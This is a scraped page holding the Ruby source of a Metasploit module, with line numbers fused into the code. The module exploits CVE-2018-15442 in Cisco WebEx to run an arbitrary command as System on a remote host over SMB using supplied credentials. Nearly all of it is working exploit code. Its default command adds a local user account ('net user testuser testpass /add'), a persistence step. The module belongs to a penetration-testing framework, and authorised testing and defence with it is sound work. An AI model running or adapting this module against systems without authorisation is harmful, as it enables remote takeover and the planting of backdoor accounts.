Path: blob/master/modules/auxiliary/admin/smb/webexec_command.rb
19514 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::SMB::Client::WebExec7include Msf::Auxiliary::Report8include Msf::Auxiliary::Scanner910# Aliases for common classes11SIMPLE = Rex::Proto::SMB::SimpleClient12XCEPT = Rex::Proto::SMB::Exceptions13CONST = Rex::Proto::SMB::Constants1415def initialize(info = {})16super(17update_info(18info,19'Name' => 'WebEx Remote Command Execution Utility',20'Description' => %q{21This module enables the execution of a single command as System by exploiting a remote22code execution vulnerability in Cisco's WebEx client software.23},2425'Author' => [26'Ron Bowes <[email protected]>',27],2829'License' => MSF_LICENSE,30'References' => [31['URL', 'https://webexec.org'],32['CVE', '2018-15442']33],34'Notes' => {35'Stability' => [CRASH_SAFE],36'SideEffects' => [IOC_IN_LOGS],37'Reliability' => []38}39)40)4142register_options([43OptString.new('COMMAND', [true, 'The command you want to execute on the remote host', 'net user testuser testpass /add']),44OptPort.new('RPORT', [true, 'The Target port', 445]),45OptBool.new('FORCE_GUI', [true, 'Ensure a GUI is created via wmic', false]),46])47end4849# This is the main control method50def run_host(ip)51@smbshare = datastore['SMBSHARE']52@ip = ip5354# Try and authenticate with given credentials55if connect56begin57smb_login58rescue Rex::Proto::SMB::Exceptions::Error => e59print_error("Unable to authenticate with given credentials: #{e}")60return61end6263command = datastore['COMMAND']64if datastore['FORCE_GUI']65command = "WMIC PROCESS CALL Create \"#{command}\""66end6768wexec(true) do |opts|69execute_single_command(command, opts)70end7172print_good('Command completed!')73disconnect74end75end76end777879